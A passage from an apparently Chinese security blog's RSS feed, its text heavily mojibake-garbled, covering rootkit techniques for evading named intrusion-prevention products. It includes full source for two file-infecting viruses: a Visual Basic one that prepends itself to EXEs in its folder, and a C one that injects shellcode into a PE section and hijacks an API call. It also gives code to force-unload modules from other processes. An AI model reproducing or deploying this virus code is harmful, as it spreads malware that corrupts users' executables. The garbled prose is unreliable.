鍥犳錛岃鎯蟲湁涓涓浉瀵瑰畬緹庣殑榪涘叆ring0瑙e喅鏂規錛屾渶濂芥槸瀵繪壘鍒漢涓嶇煡閬撴垨鑰呬嬌鐢ㄥ緢灝戠殑鏂規硶錛屾垨鑰呭皢涓婇潰鐨勬湁緙洪櫡鐨勬柟娉曞仛涓涓患鍚堬紝鐢ㄥ縐嶆柟娉曢氳繃鍒ゆ柇鎯呭喌鏉ラ夋嫨浣跨敤銆傛垜鍦ㄨ繖閲屾湁涓涓柊鐨勬濊礬鎻愪緵緇欏ぇ瀹訛紝寰蔣鏂板叕甯冧簡涓閮ㄥ垎鏂囨。錛屽叧浜嶩otPatch鐨勪嬌鐢ㄣ侶otPatch鍙互鍦ㄦ墽琛屼腑淇敼緋葷粺涓瓨鍦ㄧ殑鐢ㄦ埛鎬佸叕鐢╠ll鐨勫唴瀹癸紝鐢氳嚦鏄慨鏀瑰唴鏍告ā鍧楃殑鍐呭銆傚叿浣撲唬鐮佸拰緇嗚妭錛屽湪榪欓噷鎴戜笉鑳藉璇淬?br>        瑕佹兂寮鍙戜竴涓ソ鐨勫弽涓誨姩闃插盡rootkit錛岀粫榪囩洃鎺ц繘鍏ing0鏄繀涓嶅彲灝戠殑錛岀劧鑰岃繖閮ㄥ垎涔熸槸浣跨敤涓嶆垚鐔熸妧鏈渶澶氱殑錛屾渶瀹規槗鍑虹幇涓ラ噸闂鐨勯儴鍒嗐備綔涓轟竴涓礋璐d換鐨勫疄鐢ㄧ駭浜у搧錛屼竴瀹氳瀵硅繖涓儴鍒嗕綔鍋氳緇嗙殑嫻嬭瘯錛屾潵淇濊瘉鑷繁鐨勪駭鍝佷笉浼氬湪鏌愪簺鐗規畩鐨勭幆澧冿紝姣斿64浣岰PU榪愯32浣嶇郴緇燂紝澶氭牳澶勭悊鍣紝HyperThread澶勭悊鍣ㄤ笂闈紝鍑虹幇鏁呴殰鎴栬呰摑灞忋?br>


瀹炵敤綰у弽涓誨姩闃插盡rootkit鐨勯氱敤鎬ч棶棰?br>        鍓嶆枃宸茶堪錛屾湰鏂囩殑瀹楁棬鍦ㄤ簬璁ㄨ涓縐嶅疄鐢ㄧ駭鍒玶ootkit寮鍙戠殑鍙鎬с傚洜姝わ紝宸ョ▼閲忕殑澶у皬錛岄渶瑕佹姇鍏ョ殑浜哄姏錛屾椂闂村拰閲戦挶錛屼篃鏄垜浠渶瑕佽冭檻鐨勫唴瀹廣傚繀欏昏鑰冭檻鏇村ソ鐨勫吋瀹規ч氱敤鎬э紝鍜屽伐紼嬩笂鐨勫紑鍙戜唬浠峰拰紼沖畾鎴愮啛鍛ㄦ湡涓嶈兘鏃犻檺澶с傚洜姝わ紝瀵逛簬閮ㄥ垎鏂版妧鏈紝渚嬪BiosRootkit錛孷irtualMachine-Rootkit錛屾湰鏂囦笉鍋氳璁猴紝鍥犱負閭d簺閮藉睘浜庡鏋滆鎯沖仛紼沖畾閫氱敤錛屽伐紼嬩唬浠烽潪甯稿ぇ錛屼互鑷充簬浠栦滑鍙嫢鏈夋妧鏈笂闈㈢殑璁ㄨ浠峰鹼紝鑰屼笉鍏峰浣滀負涓涓駭鍝佸紑鍙戠殑鍙夎В鍐蟲柟妗堢殑鍙兘鎬с傝嚦灝戞槸鐩墠鏉ョ湅鏄姝ゃ?br>        姣忎釜涓誨姩闃插盡杞歡鐨勫師鐞嗗拰鏋勯犻兘鏄笉鐩稿悓鐨勶紝鍥犳涓嶅彲鑳芥寚鏈涙湁鏌愪竴縐嶆柟娉曪紝浠庡伐紼嬩笂鍙互瑙e喅涓涓富鍔ㄩ槻寰$郴緇燂紝灝卞彲浠ユ棤闇嫻嬭瘯鐨勶紝淇濊瘉鏃犺鐨勮В鍐沖叾浠栫郴緇熴傚洜涓鴻繖涓師鍥狅紝寮鍙戜竴涓垚鐔熺ǔ瀹氱殑鍙嶄富鍔ㄩ槻寰ootkit錛屽繀鐒惰鍦ㄥ吋瀹瑰悇縐嶄富鍔ㄩ槻寰$殑緋葷粺鐨勯氱敤鎬т笂闈笅澶у姛澶傛寜鐓т笉鍚岀殑涓誨姩闃插盡緋葷粺錛屽湪紼嬪簭閲宻witch case錛屽簲璇ユ槸闈炲父蹇呰鐨勶紝灝界緇濆ぇ澶氭暟鍙嶄富鍔ㄩ槻寰′唬鐮佸師鐞嗕笂鍙互閫氱敤銆傚熀鏈笂錛屽湪嫻嬭瘯紼嬪簭閫氱敤鍨嬬殑鏃跺欙紝甯哥敤鐨勪富鍔ㄩ槻寰¤蔣浠訛紝鏄瘡縐嶉兘瑕佸畨瑁呬竴涓茍涓斾粩緇嗘祴璇曠殑銆?br>        浠ヤ笅涓句緥璇存槑錛屽嚑涓父鐢ㄤ富鍔ㄩ槻寰$郴緇熷悇鑷渶瑕佹敞鎰忕殑鐗圭偣錛岃繖閮芥槸絎旇呭湪瀹為檯寮鍙戜腑閬囧埌鐨勬瘮杈冨吀鍨嬬殑渚嬪瓙銆?br>
Mcafee8.5錛岃涓誨姩闃插盡杞歡鍦ㄦ渶澶у寲鍔熻兘鏃朵細紱佹鍦ㄧ郴緇熺洰褰曚笅鍒涘緩鍙墽琛屾枃浠訛紝鍏夎繖涓鐐瑰氨浼氳鍑犱箮鍏ㄩ儴rootkit瀹夎澶辮觸錛岃嫢闈為拡瀵瑰畠鍋氫簡璁捐銆傚湪榪欎釜緋葷粺涓嬮潰錛屼篃涓嶅彲鑳戒嬌鐢ㄦ劅鏌撴枃浠剁殑鏂規硶鏉ヨ繘鍏ing0銆?br>KIS6錛岃緋葷粺浼氳嚜鍔ㄥ垪涓捐繍琛岀殑闅愯棌榪涚▼錛屽茍涓斿脊妗嗚鍛娿傚洜姝ゅ湪榪欑郴緇熶笅錛屼笉澶彲鑳芥妸鑷繁鐨勮繘紼嬮殣钘忋傝屼笖瀹冨垪涓鵑殣钘忚繘紼嬬殑鎵嬫寰堝簳灞傦紝寰堥毦緇曡繃銆?br>ZoneAlarm Pro錛岃緋葷粺涓嬶紝濡傛灉涓涓叾瀹冪殑榪涚▼鍚姩IE騫朵笖璁塊棶緗戠粶錛屽畨鍏ㄦ姤璀︿粛鐒朵細浠ヨ榪涚▼鏈韓璁塊棶緗戠粶涓哄噯鎵ц錛屽彟澶栬繕浼氬脊妗嗚鍛婏紝闄ら潪灝嗚嚜宸辯殑鍍靛案IE榪涚▼鐨勭埗榪涚▼鏇存敼錛屾垨鑰呬笉鐢↖E鏉ュ弽寮硅繛鎺ャ?br>鍥戒駭鐨勭憺鏄燂紝鎬諱綋鏉ヨ榪欎釜緋葷粺鐨勪富鍔ㄩ槻寰″急浜庡浗澶栦駭鍝侊紝浣嗘槸瀹冪壒孌婂湪浜庯紝浼氬IE浣滃嚭闈炲父涓ユ牸鐨勯檺鍒訛紝榛樿涓嶅厑璁窱E瑁呰澆浠諱綍闈炵郴緇熺殑dll銆傚洜姝ゅ湪榪欎釜緋葷粺涓嬪熀鏈笉鍙兘鍒╃敤IE鍙嶅脊銆?br>
        鍏朵粬鐨勭壒孌婃儏鍐佃繕鏈夊緢澶氥備綔涓轟竴涓垚鐔熶駭鍝佸紑鍙戣咃紝榪欎簺閮芥槸蹇呴』瑕佽冭檻鐨勩?br>



鎰熻阿錛歏XK錛堥儹瀹忕錛夛紝 xyzreg錛堝紶緲鹼級銆?br>闄勫綍錛氭彁渚涘嚑涓綍鍍忥紝瀵規湰鏂囩殑鍐呭鍋氫竴涓睍紺哄綍鍍忥紝Rootkit絀胯秺鍚勭嫻佽鐨勪富鍔ㄩ槻寰$郴緇熴?

鍙跺瓙 2007-10-12 11:57 鍙戣〃璇勮
]]>
鎰熸煋EXEhttp://www.shnenglu.com/elva/archive/2007/10/08/33760.html鍙跺瓙鍙跺瓙Mon, 08 Oct 2007 06:21:00 GMThttp://www.shnenglu.com/elva/archive/2007/10/08/33760.htmlhttp://www.shnenglu.com/elva/comments/33760.htmlhttp://www.shnenglu.com/elva/archive/2007/10/08/33760.html#Feedback0http://www.shnenglu.com/elva/comments/commentRss/33760.htmlhttp://www.shnenglu.com/elva/services/trackbacks/33760.html
VB錛?br>

Option Explicit
Private Victim As String '瑕佹劅鏌撶殑鏂囦歡鐨勫悕瀛?br>Private HostLen As Long '瑕佹劅鏌撶殑鏂囦歡鐨勫ぇ灝?br>Private vbArray() As Byte '鐥呮瘨鐨勪唬鐮?br>Private hArray() As Byte '瑕佹劅鏌撶殑鏂囦歡鐨勪唬鐮?br>Private lenght As Long
Private MySize As Integer '鐥呮瘨鐨勫ぇ灝?/p>

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '鍑洪敊澶勭悊

'鍘熺悊錛氬皢鐢熸垚鐥呮瘨鏂囦歡鐨勪唬鐮佽鍑猴紝綺樺湪瑕佽鎰熸煋鐨勬枃浠剁殑鍚庨潰銆?br>Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'榪欐槸鍦ㄨ鑷繁鐨勪唬鐮?/p>


Victim = Dir(App.Path & "\" & "*.EXE") '闅忎究閫変竴涓枃浠訛紙鐩墠鍙槸鍦ㄧ梾姣掓墍鍦ㄧ殑鐩綍涓嬮殢鏈洪変竴涓紝灝嗘潵浣犲彲浠ヤ慨鏀癸紝璁╁畠涓嶆柇鐨勫驚鐜悳绱㈣綆楁満涓婄殑鎵鏈夋枃浠躲傦級
While Victim <> ""

If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'璇誨嚭鐥呮瘨鑷韓鐨勪唬鐮?/p>


If hArray(&H69) <> &H4D Then

i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '瑕佷繚璇佽鎰熸煋鐨勪笉鏄┖鏂囦歡錛堜笉鏄湀濂楋級
End If
End If
'璇誨嚭鍑嗗琚劅鏌撶殑鏂囦歡鐨勪唬鐮?/p>

Victim = Dir() 'Next

Wend

'涓嬮潰鐨勫伐浣滄槸涓轟簡淇濊瘉鐥呮瘨涓嶄細閲嶅鎰熸煋涓涓枃浠訛紝涔熶笉浼氳嚜鎴戞劅鏌撱?/p>

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1

Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1


idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"

Else
Close #1

End If

End

vbVerror: '鍑洪敊澶勭悊錛岀┖鐫灝卞彲浠ヤ簡

End Sub



VC錛?br>
/**************************************************************
* 鍑芥暟錛欼njectCode
* 鍙傛暟錛歝har szHostFile[]--寰呮劅鏌撶殑exe鏂囦歡璺緞

* 鍔熻兘錛氭劅鏌撲竴涓猠xe紼嬪簭錛岃繍琛屾樉紺?#8220;閲戠尓鎷滃勾”鐨凪essageBox
* 浠庝唬鐮佽妭寮濮嬫悳绱?鏇挎崲絎竴涓彂鐜扮殑call api鐨勬寚浠?br>* 鎶婄洰鏍囦唬鐮佹彃鍏ヤ唬鐮佽妭鐨勫熬閮?br>* 浠g爜浠呬緵婕旂ず涔嬬敤,娌℃湁鍋氳繃澶氱殑閿欒澶勭悊
* 鎰熸煋褰撳墠hello.exe,鎻掑叆涓孌靛脊鍑哄璇濇浠g爜錛堝綋鐒朵綘鍙互淇敼鎴愬惎鍔ㄦ枃浠剁殑浠g爜錛屽樋鍢匡級
* coded by robinh00d
* robinh00d_at_163.com
* 緙栬瘧:cl epo.c
**************************************************************/
int InjectCode(char szHostFile[])
{//#include <windows.h>
    PIMAGE_DOS_HEADER pImageDosHeader ;
    PIMAGE_NT_HEADERS pImageNtHeaders ;
    PIMAGE_SECTION_HEADER pImageSectionHeader;
    unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                            "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                            "\x8d\x83\x30\x10\x40\x00\x50\x50"
                            "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                            "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                            "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
                            "\xC4\xEA\x00";
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
    DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
    DWORD dwJmpVA ;

    //:::
    hFile = CreateFile(szHostFile,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                       
    if (hFile==INVALID_HANDLE_VALUE)
    {
        return -1 ;
    }
   
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
        return -1 ;
   
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
        return -1 ;
   
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader-

>Misc.VirtualSize ;
           
            if (sizeof(thunkcode)>dwGapSize)
                goto Close ;
               
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;
           
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

            //淇敼涓哄綋鍓嶇郴緇熺殑MessageBoxA鍦板潃
            for (i=3;i>=0;i--)
            {
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                x -= 8 ;
            }
            x = 24 ;
           
            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
           
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                       
            //:::鎼滅儲call鎸囦護(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                    if ((*dwJmpAddr&0xffff)==0x25ff)
                    {
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                            x -= 8 ;
                        }
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
                        break ;
                    }
                }
               
            }
           
        }
    }

Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
   
    return 0 ;
}

鍙跺瓙 2007-10-08 14:21 鍙戣〃璇勮
]]>
鍒╃敤NtUnmapViewOfSection寮哄埗鍗歌澆妯″潡 http://www.shnenglu.com/elva/archive/2007/09/24/32788.html鍙跺瓙鍙跺瓙Mon, 24 Sep 2007 07:08:00 GMThttp://www.shnenglu.com/elva/archive/2007/09/24/32788.htmlhttp://www.shnenglu.com/elva/comments/32788.htmlhttp://www.shnenglu.com/elva/archive/2007/09/24/32788.html#Feedback1http://www.shnenglu.com/elva/comments/commentRss/32788.htmlhttp://www.shnenglu.com/elva/services/trackbacks/32788.html[1]  PEB鐨勬ā鍧楀垪琛ㄤ腑榪樺瓨鍦ㄨ妯″潡鐨勮褰曪紝澶ч儴鍒嗘ā鍧楁灇涓懼嚱鏁伴兘鏄灇涓捐繖涓垪琛?br>[2]  鍙兘浼氬嚭鐜拌闂紓甯?br>
鐪嬫潵RING3涓嬫槸涓嶅彲鑳藉仛鍒板己鍒跺嵏杞芥ā鍧楃殑瀹岀編瀹炵幇錛岃榪況ing0鎵嶈銆備笅闈㈡槸嫻嬭瘯浠g爜
typedef ULONG (WINAPI *PFNNtUnmapViewOfSection)( IN HANDLE ProcessHandle,IN PVOID BaseAddress );

BOOL UnmapViewOfModule ( DWORD dwProcessId, LPVOID lpBaseAddr )
{
    HMODULE hModule 
= GetModuleHandle ( L"ntdll.dll" ) ;
    
if ( hModule == NULL )
        hModule 
= LoadLibrary ( L"ntdll.dll" ) ;

    PFNNtUnmapViewOfSection pfnNtUnmapViewOfSection 
= (PFNNtUnmapViewOfSection)GetProcAddress ( hModule, "NtUnmapViewOfSection" ) ;
    
    HANDLE hProcess 
= OpenProcess ( PROCESS_ALL_ACCESS, TRUE, dwProcessId ) ;
    ULONG    ret 
= pfnNtUnmapViewOfSection ( hProcess, lpBaseAddr ) ;
    CloseHandle ( hProcess ) ;
    
return ret ? false : true ;
}



鍙跺瓙 2007-09-24 15:08 鍙戣〃璇勮
]]>
BIOS Rootkit:Welcome home,my Lord!http://www.shnenglu.com/elva/archive/2007/05/23/24706.html鍙跺瓙鍙跺瓙Wed, 23 May 2007 11:35:00 GMThttp://www.shnenglu.com/elva/archive/2007/05/23/24706.htmlhttp://www.shnenglu.com/elva/comments/24706.htmlhttp://www.shnenglu.com/elva/archive/2007/05/23/24706.html#Feedback0http://www.shnenglu.com/elva/comments/commentRss/24706.htmlhttp://www.shnenglu.com/elva/services/trackbacks/24706.html闃呰鍏ㄦ枃

鍙跺瓙 2007-05-23 19:35 鍙戣〃璇勮
]]>
Do all in one exe file Under Win32 http://www.shnenglu.com/elva/archive/2007/05/23/24705.html鍙跺瓙鍙跺瓙Wed, 23 May 2007 11:12:00 GMThttp://www.shnenglu.com/elva/archive/2007/05/23/24705.htmlhttp://www.shnenglu.com/elva/comments/24705.htmlhttp://www.shnenglu.com/elva/archive/2007/05/23/24705.html#Feedback0http://www.shnenglu.com/elva/comments/commentRss/24705.htmlhttp://www.shnenglu.com/elva/services/trackbacks/24705.html闃呰鍏ㄦ枃

鍙跺瓙 2007-05-23 19:12 鍙戣〃璇勮
]]>
鎵洸鍙樻崲鍔犲瘑http://www.shnenglu.com/elva/archive/2007/05/15/24147.html鍙跺瓙鍙跺瓙Tue, 15 May 2007 05:17:00 GMThttp://www.shnenglu.com/elva/archive/2007/05/15/24147.htmlhttp://www.shnenglu.com/elva/comments/24147.htmlhttp://www.shnenglu.com/elva/archive/2007/05/15/24147.html#Feedback0http://www.shnenglu.com/elva/comments/commentRss/24147.htmlhttp://www.shnenglu.com/elva/services/trackbacks/24147.html闃呰鍏ㄦ枃

鍙跺瓙 2007-05-15 13:17 鍙戣〃璇勮
]]>
syser 瀹炴垬涓(鍒嗘瀽 nprotect 鐨?dump_wmimmc.sys)http://www.shnenglu.com/elva/archive/2007/05/14/24081.html鍙跺瓙鍙跺瓙Sun, 13 May 2007 17:08:00 GMThttp://www.shnenglu.com/elva/archive/2007/05/14/24081.htmlhttp://www.shnenglu.com/elva/comments/24081.htmlhttp://www.shnenglu.com/elva/archive/2007/05/14/24081.html#Feedback0http://www.shnenglu.com/elva/comments/commentRss/24081.htmlhttp://www.shnenglu.com/elva/services/trackbacks/24081.html闃呰鍏ㄦ枃

鍙跺瓙 2007-05-14 01:08 鍙戣〃璇勮
]]>
鎵撻犳渶灝忕殑PE鏂囦歡http://www.shnenglu.com/elva/archive/2007/05/14/24077.html鍙跺瓙鍙跺瓙Sun, 13 May 2007 16:46:00 GMThttp://www.shnenglu.com/elva/archive/2007/05/14/24077.htmlhttp://www.shnenglu.com/elva/comments/24077.htmlhttp://www.shnenglu.com/elva/archive/2007/05/14/24077.html#Feedback0http://www.shnenglu.com/elva/comments/commentRss/24077.htmlhttp://www.shnenglu.com/elva/services/trackbacks/24077.html闃呰鍏ㄦ枃

鍙跺瓙 2007-05-14 00:46 鍙戣〃璇勮
]]>
鎵嬪伐鎵撻犲井鍨媁in32鍙墽琛屾枃浠?/title><link>http://www.shnenglu.com/elva/archive/2007/05/14/24076.html</link><dc:creator>鍙跺瓙</dc:creator><author>鍙跺瓙</author><pubDate>Sun, 13 May 2007 16:45:00 GMT</pubDate><guid>http://www.shnenglu.com/elva/archive/2007/05/14/24076.html</guid><wfw:comment>http://www.shnenglu.com/elva/comments/24076.html</wfw:comment><comments>http://www.shnenglu.com/elva/archive/2007/05/14/24076.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/elva/comments/commentRss/24076.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/elva/services/trackbacks/24076.html</trackback:ping><description><![CDATA[     鎽樿:   <a href='http://www.shnenglu.com/elva/archive/2007/05/14/24076.html'>闃呰鍏ㄦ枃</a><img src ="http://www.shnenglu.com/elva/aggbug/24076.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/elva/" target="_blank">鍙跺瓙</a> 2007-05-14 00:45 <a href="http://www.shnenglu.com/elva/archive/2007/05/14/24076.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item></channel></rss> <a href="http://www.shnenglu.com/">青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品</a> <div style="position:fixed;left:-9000px;top:-9000px;"><font id="pjuwb"></font><button id="pjuwb"><pre id="pjuwb"></pre></button><sub id="pjuwb"></sub><tbody id="pjuwb"><var id="pjuwb"><address id="pjuwb"></address></var></tbody><listing id="pjuwb"><label id="pjuwb"><strong id="pjuwb"></strong></label></listing><wbr id="pjuwb"><small id="pjuwb"><tbody id="pjuwb"></tbody></small></wbr><ins id="pjuwb"><xmp id="pjuwb"></xmp></ins><style id="pjuwb"></style><label id="pjuwb"><em id="pjuwb"><li id="pjuwb"></li></em></label><samp id="pjuwb"></samp><menu id="pjuwb"><input id="pjuwb"></input></menu><pre id="pjuwb"><tbody id="pjuwb"><tfoot id="pjuwb"><button id="pjuwb"></button></tfoot></tbody></pre><form id="pjuwb"></form><i id="pjuwb"><style id="pjuwb"><label id="pjuwb"><sup id="pjuwb"></sup></label></style></i><li id="pjuwb"><table id="pjuwb"><abbr id="pjuwb"></abbr></table></li><video id="pjuwb"></video><dfn id="pjuwb"></dfn><progress id="pjuwb"></progress><strong id="pjuwb"></strong><mark id="pjuwb"></mark><em id="pjuwb"></em><tbody id="pjuwb"><p id="pjuwb"><strike id="pjuwb"><acronym id="pjuwb"></acronym></strike></p></tbody><option id="pjuwb"></option><strike id="pjuwb"></strike><u id="pjuwb"></u><td id="pjuwb"><center id="pjuwb"><tr id="pjuwb"></tr></center></td><em id="pjuwb"><mark id="pjuwb"><em id="pjuwb"><tt id="pjuwb"></tt></em></mark></em><strong id="pjuwb"></strong><wbr id="pjuwb"></wbr><s id="pjuwb"></s><strong id="pjuwb"></strong><legend id="pjuwb"></legend><nav id="pjuwb"></nav><dl id="pjuwb"><th id="pjuwb"><dl id="pjuwb"></dl></th></dl><noframes id="pjuwb"><ins id="pjuwb"></ins></noframes><font id="pjuwb"></font><strike id="pjuwb"><i id="pjuwb"><style id="pjuwb"><label id="pjuwb"></label></style></i></strike><output id="pjuwb"></output><thead id="pjuwb"><pre id="pjuwb"></pre></thead><source id="pjuwb"></source><menuitem id="pjuwb"><wbr id="pjuwb"></wbr></menuitem><pre id="pjuwb"><span id="pjuwb"><pre id="pjuwb"><big id="pjuwb"></big></pre></span></pre><cite id="pjuwb"><fieldset id="pjuwb"><s id="pjuwb"><rt id="pjuwb"></rt></s></fieldset></cite><big id="pjuwb"><progress id="pjuwb"><big id="pjuwb"></big></progress></big><samp id="pjuwb"><delect id="pjuwb"></delect></samp><dl id="pjuwb"></dl><strike id="pjuwb"><nav id="pjuwb"><dl id="pjuwb"><strong id="pjuwb"></strong></dl></nav></strike><tbody id="pjuwb"><b id="pjuwb"><optgroup id="pjuwb"><rp id="pjuwb"></rp></optgroup></b></tbody><em id="pjuwb"></em><xmp id="pjuwb"><blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote></xmp> <i id="pjuwb"><abbr id="pjuwb"><i id="pjuwb"><abbr id="pjuwb"></abbr></i></abbr></i><center id="pjuwb"><acronym id="pjuwb"><center id="pjuwb"></center></acronym></center><pre id="pjuwb"></pre><ul id="pjuwb"><thead id="pjuwb"></thead></ul><blockquote id="pjuwb"><pre id="pjuwb"><sup id="pjuwb"></sup></pre></blockquote><acronym id="pjuwb"></acronym><big id="pjuwb"><s id="pjuwb"></s></big><th id="pjuwb"></th><th id="pjuwb"></th><tbody id="pjuwb"></tbody><thead id="pjuwb"><strike id="pjuwb"></strike></thead><th id="pjuwb"><dl id="pjuwb"><wbr id="pjuwb"></wbr></dl></th><dl id="pjuwb"><strong id="pjuwb"></strong></dl><abbr id="pjuwb"><noframes id="pjuwb"><noscript id="pjuwb"></noscript></noframes></abbr><td id="pjuwb"><ol id="pjuwb"></ol></td><li id="pjuwb"><noscript id="pjuwb"><abbr id="pjuwb"></abbr></noscript></li><small id="pjuwb"><bdo id="pjuwb"><nav id="pjuwb"></nav></bdo></small><style id="pjuwb"></style><optgroup id="pjuwb"><table id="pjuwb"></table></optgroup><center id="pjuwb"><tr id="pjuwb"><dfn id="pjuwb"></dfn></tr></center><th id="pjuwb"></th><u id="pjuwb"></u><tfoot id="pjuwb"><legend id="pjuwb"><i id="pjuwb"></i></legend></tfoot><mark id="pjuwb"></mark><meter id="pjuwb"></meter><nav id="pjuwb"></nav><acronym id="pjuwb"><pre id="pjuwb"><acronym id="pjuwb"><ul id="pjuwb"></ul></acronym></pre></acronym><acronym id="pjuwb"><pre id="pjuwb"><acronym id="pjuwb"><ul id="pjuwb"></ul></acronym></pre></acronym><nobr id="pjuwb"></nobr><sub id="pjuwb"><th id="pjuwb"><menuitem id="pjuwb"><wbr id="pjuwb"></wbr></menuitem></th></sub><thead id="pjuwb"><sub id="pjuwb"></sub></thead><ul id="pjuwb"><address id="pjuwb"><menuitem id="pjuwb"><meter id="pjuwb"></meter></menuitem></address></ul><dfn id="pjuwb"></dfn><pre id="pjuwb"></pre><input id="pjuwb"><cite id="pjuwb"><fieldset id="pjuwb"></fieldset></cite></input><u id="pjuwb"><form id="pjuwb"><u id="pjuwb"></u></form></u><kbd id="pjuwb"><em id="pjuwb"><mark id="pjuwb"></mark></em></kbd><tr id="pjuwb"></tr><del id="pjuwb"><form id="pjuwb"><address id="pjuwb"></address></form></del><tfoot id="pjuwb"><legend id="pjuwb"><ol id="pjuwb"><dl id="pjuwb"></dl></ol></legend></tfoot><menu id="pjuwb"><nobr id="pjuwb"><th id="pjuwb"><nobr id="pjuwb"></nobr></th></nobr></menu><fieldset id="pjuwb"></fieldset><pre id="pjuwb"><blockquote id="pjuwb"><samp id="pjuwb"></samp></blockquote></pre><xmp id="pjuwb"><sup id="pjuwb"><pre id="pjuwb"></pre></sup></xmp><span id="pjuwb"><progress id="pjuwb"></progress></span><font id="pjuwb"></font><var id="pjuwb"><abbr id="pjuwb"></abbr></var><strong id="pjuwb"><label id="pjuwb"><i id="pjuwb"><legend id="pjuwb"></legend></i></label></strong><tr id="pjuwb"><em id="pjuwb"><em id="pjuwb"><output id="pjuwb"></output></em></em></tr><thead id="pjuwb"><strike id="pjuwb"></strike></thead> <acronym id="pjuwb"></acronym><i id="pjuwb"></i><tt id="pjuwb"></tt><rt id="pjuwb"><source id="pjuwb"><rt id="pjuwb"></rt></source></rt><strike 